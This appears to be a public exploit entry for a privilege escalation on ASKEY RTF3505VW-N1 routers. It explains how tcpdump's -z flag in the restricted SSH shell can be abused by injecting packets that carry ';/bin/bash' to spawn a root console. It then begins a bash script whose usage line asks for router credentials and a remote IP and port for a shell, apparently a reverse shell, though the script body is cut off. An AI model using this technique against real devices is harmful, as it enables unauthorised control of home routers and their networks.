# Exploit Title: ASKEY RTF3505VW-N1 - Privilege escalation
# Date: 07-12-2022
# Exploit Author: Leonardo Nicolas Servalli
# Vendor Homepage:
# Platform: ASKEY router devices RTF3505VW-N1
# Tested on: Firmware BR_SV_g000_R3505VMN1001_s32_7
# Vulnerability analysis:


# Mitrastar ASKEY RTF3505VW-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).

# The command “tcpdump” is present in the restricted shell and do not handle correctly the -z flag, so it can be used to escalate privileges through the creation of a local file in the /tmp directory of the router, and injecting packets through port 80 used for the router's Web GUI) with the string ";/bin/bash" in order to be executed by "-z sh". By using “;/bin/bash” as injected string we can spawn a busybox/ash console.


if [ -z "$@" ]; then
	echo "Command example: $0 routerIP routerUser routerPassword remoteIPshell remotePortShell "
	exit 0
